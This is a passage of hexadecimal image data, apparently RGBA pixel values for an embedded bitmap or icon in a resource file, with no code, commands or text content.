C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFBEBEBEFFBFBFBEFFBFBFBFFFBFBFBFFFBFBEBEFFBEBEBEFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFFFFFFFFFDCDCDCFFC2C1C1FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C1C1FFC1C0C0FFFFFFFFFFBC9273FFFFC392FFFFC18EFFFFC0\n      8FFFFFC08FFFFFC08FFFFFC08FFFFFC08FFFFFC08FFFFFC08FFFFFC08FFFFFC0\n      8FFFFFC18FFFFFC08EFFFFC692FFA08875FF71AD84FF8CEDAAFF8BE8A8FF8AE8\n      A8FF8BE8A8FF8BE8A8FF8BE8A8FF8BE8A8FF8BE8A8FF8BE8A8FF8BE8A8FF8BE8\n      A8FF8AE8A8FF8BE8A9FF8EEDACFF75987EFFBFBEC5FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFEBE3FFFF8B6EFFFF896BFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A6FF24BFBFFF07FFFFFF07FFFFFF07FF\n      FFFF08FFFFFF08FFFFFF08FFFFFF08FFFFFF08FFFFFF08FFFFFF08FFFFFF08FF\n      FFFF07FFFFFF07FFFFFF08FFFFFF4AA1A1FFB18664FFE5A36FFFE1A26FFFE3A3\n      70FFE3A370FFE3A370FFE3A370FFE3A370FFE3A370FFE3A370FFE3A370FFE3A3\n      70FFE3A270FFE1A26FFFE7A470FF9C816EFF60966FFF66BB80FF66B880FF67BA\n      81FF66BA81FF66BA81FF66BA81FF66BA81FF66BA81FF66BA81FF66BA81FF66BA\n      81FF67BA81FF66B880FF66BD81FF6B8D75FFBFBEC2FFFFFFFFFFA190F6FFF6F5\n      FDFFFFFFFFFFFFFFFFFFD5CFFBFF6549F2FF6246F1FFF8F8FDFFFFFFFFFFFFFF\n      FEFFD6CFFBFFC2B7FAFFFFFFFFFFA4A2A7FF25BEBEFF0AFFFFFF0CFFFFFF0EFF\n      FFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFF\n      FFFF0DFFFFFF0CFFFFFF0AFFFFFF4AA0A0FFA67554FFD99059FFD69059FFD68F\n      5AFFD6915AFFD6915AFFD6915AFFD6915BFFD6915BFFD6915AFFD6915AFFD691\n      5AFFD6905AFFD68E59FFDB9159FF947867FF4D815AFF4B9E60FF4C9C61FF4E9D\n      62FF4E9D62FF4E9D62FF4E9D62FF4E9D63FF4E9D63FF4E9D62FF4E9D62FF4E9D\n      62FF4E9C62FF4C9C61FF4C9F61FF618069FFC0C1BEFFCBC3FDFF5036EEFF7C68\n      F2FFFFFFFFFFFFFFFFFFD0C8F9FF4A2EECFF462AECFFF7F6FEFFFFFFFFFFF9F8\n      FDFF634BF0FF5B43EFFFECE8FFFFA2A1A3FF25BEBBFF0BFFFFFF0DFFFFFF0FFF\n      FFFF0EFFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF0EFF\n      FFFF0FFFFFFF0DFFFFFF0AFFFFFF4AA09DFF9E6845FFD47A3FFFCC7940FFCD7A\n      41FFCD7A41FFCD7A41FFCD7A41FFCD7A41FFCD7A41FFCD7A41FFCD7A41FFCD7A\n      41FFCD7941FFCC7840FFD57C3EFF8F705CFF3D704CFF33894AFF35864BFF3587\n      4CFF37874EFF37874DFF37874DFF37874DFF37874DFF37874DFF37874DFF3587\n      4EFF36874CFF35864BFF32894BFF587561FFBDBDBBFFFFFFFFFFC2BAF8FFFFFF\n      FEFFFFFFFFFFFFFFFFFFCCC5F8FF3218E9FF2F13E8FFFBFBFDFFFFFFFFFFFFFF\n      FFFFEBE9FCFFDCD8FAFFFFFFFFFFA1A19FFF259FB9FF0BD4FFFF0ED2FEFF0FD2\n      FEFF10D2FEFF10D2FEFF10D2FEFF10D2FEFF10D2FEFF10D2FEFF10D2FEFF10D2\n      FEFF0FD2FEFF0DD2FEFF0AD7FFFF498E9DFF26A3C2FF0DDEFFFF10DAFFFF11DB\n      FFFF11DBFFFF11DBFFFF11DBFFFF11DBFFFF11DBFFFF11DBFFFF11DBFFFF11DB\n      FFFF11DBFFFF0FDAFFFF0DDFFFFF4A91A2FFAC9192FFEBBDBDFFE3B8B7FFE4B7\n      B8FFE4B9B8FFE4B8B8FFE4B8B8FFE4B8B8FFE4B8B8FFE4B8B8FFE4B8B8FFE4B9\n      B8FFE3B7B8FFE3B6B7FFEDC0C0FF968787FFA09DB6FFD7D1FEFFDAD6FAFFD6D1\n      FAFFD5CFF9FFD9D4FAFFA99DF4FF2E12E8FF2B0FE8FFCEC7F8FFD6D1F9FFD5CF\n      F9FFD8D2FAFFD8D4FAFFDAD4FFFF8F8D9CFF2320B8FF0900FFFF0D00FCFF0D00\n      FCFF0E00FCFF1000FCFF1000FCFF1000FCFF1000FCFF1000FCFF1000FCFF0E00\n      FCFF0E00FCFF0C00FCFF0900FFFF4A489BFF319EB8FF22D7FFFF21D3FCFF20D3\n      FCFF23D4FCFF23D4FCFF23D4FCFF23D4FCFF23D4FCFF23D4FCFF23D4FCFF23D4\n      FCFF22D4FCFF20D4FCFF1DD9FFFF508F9DFF712C23FF8E1C09FF8B1809FF8A1A\n      0AFF8C1B0CFF8C1B0BFF8C1B0BFF8C1B0BFF8C1B0BFF8C1B0BFF8C1B0CFF8C1A\n      0AFF8B1909FF8A1707FF8D1605FF734D48FF3524ABFF2B0CEBFF280BE7FF280C\n      E7FF2A0EE8FF2A0EE8FF2E13E8FF391FEAFF391FEAFF2B10E8FF2A0EE8FF290D\n      E8FF280CE7FF270AE7FF2507EEFF514996FF2524B8FF0C0DFFFF0D0FFDFF0E0E\n      FDFF1010FDFF100FFDFF100FFDFF100FFDFF100FFDFF100FFDFF100FFDFF0F10\n      FDFF0E0FFDFF0C0DFDFF090AFFFF4A499BFF329EB8FF25D8FFFF28D6FCFF28D5\n      FCFF22D3FCFF21D4FCFF22D4FCFF22D4FCFF22D4FCFF22D4FCFF22D4FCFF23D4\n      FCFF22D4FCFF20D4FCFF1DD9FFFF508F9DFF722C23FF921E0BFF901F0EFF8F1F\n      0EFF8B1B09FF8B1A0AFF8B1A0AFF8B1A0AFF8B1A0AFF8B1A0AFF8B1A0BFF8B19\n      09FF8A1808FF891607FF8D1504FF734D48FF3624ABFF2D0EECFF2F11E8FF2D10\n      E8FF290DE8FF280CE8FF2D12E8FF381FEAFF391FEAFF2A0EE8FF280CE8FF270B\n      E8FF260AE6FF2509E7FF2306EDFF514896FF2425B8FF0E0FFFFF1111FDFF1012\n      FDFF0E10FDFF0F0FFDFF0F0FFDFF100FFDFF1010FDFF1010FDFF1010FDFF0F10\n      FDFF0E0FFDFF0C0DFDFF090AFFFF4A499BFF2FA1C3FF23DBFFFF24D5FBFF27D4\n      FBFF28D5FBFF24D3FBFF20D2FBFF1CD1FBFF1BD1FBFF1CD1FBFF1CD1FBFF1CD1\n      FBFF1BD1FBFF18D0FBFF17DAFFFF4F90A2FFB19F93FFF4D7C3FFEBD0BCFFEBD2\n      BEFFEDD3BFFFE8CDBCFFE8CDBBFFE8CDBBFFE8CDBBFFE9CDBBFFE9CDBBFFE7CE\n      BBFFE8CCBCFFE8CDBAFFF3D6C1FF988F87FFACA9B8FFEDEAFFFFEFEDFCFFEBE8\n      FCFFEAE7FCFFEDEAFCFFB8AEF6FF2D11E8FF290DE8FFDFDCFBFFEAE7FCFFE8E4\n      FCFFEBE9FCFFEBEAFCFFEEEBFFFF96959EFF2526C7FF0F10FFFF1214FFFF1516\n      FFFF1617FFFF1415FFFF1112FFFF0E10FFFF0F0EFFFF0F0FFFFF0F0FFFFF0E0F\n      FFFF0D0EFFFF0B0CFFFF0A0BFFFF494AA4FF648020FF7BA800FF79A400FF78A5\n      00FF79A501FF7AA500FF7AA500FF7AA501FF79A400FF77A300FF75A200FF75A2\n      00FF75A300FF77A300FF7CAB00FF6B7C47FF3326A0FF2C17DAFF2E19D4FF301B\n      D3FF301CD3FF2F1DD6FF2F1DD6FF301DD6FF2C1AD5FF2B19D3FF2A18D4FF2A18\n      D4FF2A17D3FF2B17D5FF2D16DDFF514A8FFFBCBCB9FFFFFFFFFFB6ABF7FFFFFF\n      FEFFFFFFFFFFFFFFFFFFCEC6F8FF3B1DEAFF3618E9FFF9F9FDFFFFFFFFFFFFFF\n      FFFFE8E4FBFFD5CEFAFFFFFFFFFF9EA09EFF252520FF101000FF131200FF1616\n      03FF171703FF171705FF171705FF171705FF161603FF151502FF151501FF1515\n      01FF141400FF121200FF100F00FF4A4A48FF608425FF76AF10FF76AD13FF77AE\n      15FF77AE16FF77AE17FF77AE17FF77AE17FF77AE17FF77AE17FF77AE17FF77AE\n      16FF77AE15FF76AD13FF78B10FFF697D49FF3F309EFF3F27DAFF4029D5FF412B\n      D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C\n      D7FF412BD7FF3F29D5FF3F26DCFF564F8FFFBEBEB9FFBDB3FBFF4223EAFF674F\n      EEFFFFFFFFFFFFFFFFFFCCC4F9FF3C1DEAFF3819EAFFF7F7FDFFFFFFFFFFF6F6\n      FDFF4E32ECFF492CEBFFE6E1FFFF9E9E9EFF242424FF101010FF131312FF1515\n      14FF171717FF171716FF171716FF171716FF171717FF171717FF171717FF1616\n      16FF151515FF131313FF0F0F0FFF494949FF608323FF78B10BFF76AE0EFF77AF\n      10FF76AF11FF78AF11FF78AF11FF78AF11FF78AF11FF78AF11FF78AF11FF76AF\n      11FF77AF10FF76AE0EFF79B40AFF687C47FF3D2F9EFF3F24DBFF3F27D7FF4027\n      D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028\n      D7FF4027D7FF3F25D7FF4024DEFF554E8DFFB9B9B9FFFFFFFFFF9583F3FFFFFF\n      FEFFFFFFFFFFFFFFFFFFCCC3FAFF3C1AEAFF3816EAFFF7F7FDFFFFFFFFFFFFFF\n      FEFFD7D1FAFFBEB3F8FFFFFFFFFF9D9D9DFF222222FF0B0B0BFF0E0E0EFF1010\n      10FF111111FF111111FF111111FF111111FF111111FF111111FF111111FF1111\n      11FF101010FF0E0E0EFF0A0A0AFF484848FF668A30FF8BBB33FF88B831FF8AB7\n      33FF89B933FF89B933FF89B933FF89B933FF89B933FF89B933FF89B933FF89B9\n      33FF8AB733FF89B831FF8BBB32FF758B55FF453AA5FF5B47E0FF5843DDFF5845\n      DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944\n      DDFF5845DDFF5744DDFF5945E1FF615B9CFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFD4CDFCFF5339EFFF4F35EFFFFCFBFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF2F2F2FFF323232FF303030FF3131\n      31FF323232FF323232FF323232FF323232FF323232FF323232FF323232FF3232\n      32FF313131FF303030FF303030FF555555FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFFFFFFFFFDCDCDCFFC0C0C0FFC2C2C2FFC1C1\n      C1FFC1C1C1FFC1C1C1FFC1C1C1FFC1C1C1FFC1C1C1FFC1C1C1FFC1C1C1FFC1C1\n      C1FFC1C1C1FFC2C2C2FFC1C0C0FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0BFFFC0C0BFFFBFBFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC3C3C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFDBBB7AFFE0C288FFDCBC7CFFFFFFF2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA3A3A2FF9F6E76FFE297A6FFDE94A5FFDD94\n      A5FFDA8E9FFFFCE6EBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC1D7FFFF0041\n      FFFF074CFFFF064BFFFF044BFFFF4A5EA3FF2628B7FF0C10FFFF0E10FFFF0E10\n      FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11\n      FFFF0E10FFFF0D0FFFFF0D0FFFFF4C4E9BFF72543CFF6A411DFF6C421FFF6B43\n      1FFF6B4320FF6B4320FF6B4320FF6B4320FF6B4320FF6A421FFF663C19FF9573\n      5BFF663D18FF6A411CFF6A3F1CFF836F5FFFC1C1BFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFB18449FFB88F59FFB2864CFFF0E7DCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF97686EFFC47D88FFC17D89FFC17E\n      8AFFBD7583FFE6CFD3FFFAFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB5C4F7FF0039\n      F1FF0D44F2FF0C43F2FF0843FCFF4A5EA3FF2425BCFF0909FFFF0B0BFFFF0A0C\n      FFFF0B0CFFFF0B0CFFFF0B0CFFFF0B0CFFFF0B0CFFFF0B0CFFFF0B0CFFFF0B0C\n      FFFF0A0CFFFF090BFFFF0709FFFF494AA0FF6C4E35FF633A18FF643B1AFF653C\n      1BFF653C1BFF653C1BFF653C1BFF653C1BFF643A19FF6B4625FF795639FF8D6C\n      56FF745033FF6F4929FF603814FF7A6858FFBDBDBCFFFFFFFFFFFFFFFFFFFFFF\n      FFFF995B23FFA16936FF9A5E27FFEBDFD5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF905E63FFB76A73FFB46972FFB56C\n      73FFB1626CFFE2C9CCFFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB5C1F6FF0031\n      EDFF0F3DEFFF0D3BEFFF0939F9FF4B5B9FFF3B3CB9FF3233FFFF3435FFFF3636\n      FFFF3636FFFF3636FFFF383CFFFF3A45FFFF3A46FFFF383CFFFF3636FFFF3636\n      FFFF3536FFFF3435FFFF3435FFFF58589EFF674C33FF5D3311FF603514FF6138\n      14FF603716FF623916FF623916FF623916FF603714FF663D1CFF7D5C42FFB4A1\n      91FF7A573CFF683E20FF5C310DFF7A6757FFC0C3C4FFFFFFFFFFFFFFFFFFFFFF\n      FFFF833904FF8D4A19FF853D09FFECE4DBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A4A4FF895559FFAF5B61FFAC5B60FFAC5B\n      61FFA95458FFDFC3C5FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB3BEF5FF0028\n      EAFF0E34EBFF0C33EBFF0931F6FF4B599CFFC5C5B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFDBC7FFDF5540FFDF543FFFFFD8C5FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A49EFF65482FFF5A2E0CFF5D310EFF5E34\n      11FF5D3310FF5D3310FF5D3310FF5D3310FF552905FFB29E8EFFC0AEA2FFFFFF\n      FFFFC5B4AAFFB7A496FF502300FF796555FF83624CFFA9724EFFA6714EFFA774\n      52FF823706FF873E0EFF843A09FFA16843FFA77451FFA7724FFFA7724FFFA772\n      50FFA7724EFFA6714EFFAA724DFF7E6D5FFF855155FFAB5559FFA95458FFA954\n      59FFA64E52FFDDC0C2FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB3BDF4FF0024\n      E8FF0E30E9FF0C2FE9FF092DF4FF4B579BFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFF2D3D2FFD54F47FFE27D73FFE27B73FFD54E46FFF1CDCDFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF65462CFF582D09FF5A2F0CFF5B30\n      0DFF5B300EFF5D3110FF5C310FFF5B300EFF643B1CFF663F1FFFBEADA0FFD1C4\n      BCFFBBAA9DFF6A4424FF603716FF786455FF6C3F20FF863B04FF823906FF8238\n      07FF884010FF884010FF884010FF853B0AFF843A08FF843A08FF843A08FF8239\n      07FF833906FF823704FF843601FF705847FF875455FFAE5A5EFFA9565AFFA954\n      5AFFA54D52FFDDC1C3FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB3BDF4FF0024\n      E8FF0E31EAFF0C30EAFF092DF4FF4B579CFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFE46157FFAC5494FF9B5AAAFFA15CA4FFA75297FFE45D53FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF65462CFF5D310CFF5B310EFF5B2F\n      0DFF5D3210FF5D3210FF5D3210FF5A2E0BFF7C593FFF815D43FF522401FFF4F1\n      F1FF997C67FF6A4324FF88664DFF766251FF6C3F20FF893E05FF884008FF873D\n      08FF863F0FFF873E0FFF873F0FFF843A09FF833807FF833807FF833807FF8237\n      06FF823705FF813503FF823500FF705847FF885456FFB05D61FFAD5D61FFAC5C\n      60FFA64E53FFDDC0C2FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB3BDF4FF0024\n      E8FF0E31EAFF0C30EAFF092DF4FF4B579CFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF79FFFFFF39A3FFFFC4D5F0FFB4C0EFFF3A9FFFFF72FFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF65462CFF552700FF562800FF592A\n      00FF5E3000FF5D3000FF5A2F0BFF5D3110FF582C0AFF653C1DFFC6B8ACFFB4A1\n      92FFC1B0A4FF6B4426FF522400FF776454FF8B6B57FFB68861FFB48862FFB58A\n      65FF8D450DFF8E4814FF863E0AFFA6724FFFB08361FFAF815FFFAF815FFFAF80\n      5FFFAE805EFFAE7D5DFFB2825DFF827066FF875558FFB26064FFAF6065FFB061\n      65FFAB575DFFDFC5C7FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB3BDF4FF0023\n      E8FF0D2FE9FF0B2EE9FF0A2EF5FF4A579BFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFECFCFFFF3CF7FFFF3F98FFFF327CFFFF3BF9FFFFE7FCFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF72543FFFDBD1C9FFF5F3ECFFC4BB\n      DFFF5440C7FF5845D3FF74502DFF592F0BFF5B300FFF5A2F0DFF542603FF5225\n      02FF522501FF562A08FF572C09FF786455FFBEC1C3FFFFFFFFFFFFFFFFFFFFFF\n      FFFF873D02FF934E17FF8B4106FFEDE3DBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A2A4FF885559FFB46469FFB16366FFB064\n      69FFAD5C60FFE0C7C7FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB5C0F5FF0531\n      EAFF143CECFF123DECFF103EF6FF4B599CFFC6C6B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFAFFFFFF9DD5FFFFB0D9FFFFF5FFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFF5E3D28FFE7E0D9FFFFFFFFFFC8C2\n      F5FF2E19D5FF3623E7FF855E37FF693E13FF693E16FF673C15FF663C15FF663B\n      15FF673C14FF673C12FF673C0FFF796654FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF894001FF935117FF8B4406FFE7DBD0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF895659FFB6676BFFB1656AFFB366\n      6BFFAE5C62FFE1C6C8FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB6C2F5FF0836\n      EAFF1642EBFF1341EBFF0F40F6FF4A599CFF3434B9FF2929FFFF2C2CFFFF2C2C\n      FFFF2D2DFFFF2F2FFFFF322FFFFF3934FFFF3833FFFF322FFFFF2F2FFFFF2D2D\n      FFFF2C2CFFFF2A2AFFFF2828FFFF51519EFF613F28FFE6DED8FFFFFFFFFFC7C0\n      F3FF351DD4FF3C27E5FF865F36FF6B3F13FF6D4218FF6D4217FF6D4217FF6C42\n      17FF6C4115FF6B4013FF6A3D0FFF796654FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF8A3F00FF965011FF8D4400FFE9DBCEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF875658FFB7676DFFB4666AFFB467\n      6BFFAF5D62FFE2C8C8FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB6C3F5FF0235\n      ECFF1041EDFF0E3FEDFF0C41F8FF49569CFF2020B9FF0707FFFF0909FFFF0C0C\n      FFFF0D0DFFFF0C0CFFFF0C0CFFFF0C0CFFFF0C0CFFFF0C0CFFFF0C0CFFFF0D0D\n      FFFF0C0CFFFF0A0AFFFF0606FFFF46469DFF603F27FFE7DFD7FFFFFFFFFFC8C0\n      F3FF341BD4FF3B23E5FF865F31FF6B3E0DFF6C4112FF6B4112FF6B4112FF6B41\n      11FF6B4010FF6A3F0EFF6B3E0BFF796452FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFF98561FFFA26533FF9A5A24FFEEE2D9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF8F5D60FFC37C80FFC0777BFFC078\n      7CFFBC7075FFEBD3D4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC5CFFDFF244B\n      F5FF3157F5FF3056F5FF3058F9FF5562A7FF3030C0FF3333FFFF3131FFFF3333\n      FFFF3333FFFF3333FFFF3333FFFF3333FFFF3333FFFF3333FFFF3333FFFF3333\n      FFFF3333FFFF3131FFFF3232FFFF5555ACFF65442DFFF6EFEAFFFFFFFFFFD6CF\n      FFFF4E39E1FF5441F2FF9A7650FF815831FF835A34FF835A34FF835A34FF835A\n      34FF815A33FF825932FF825A32FF7D695AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      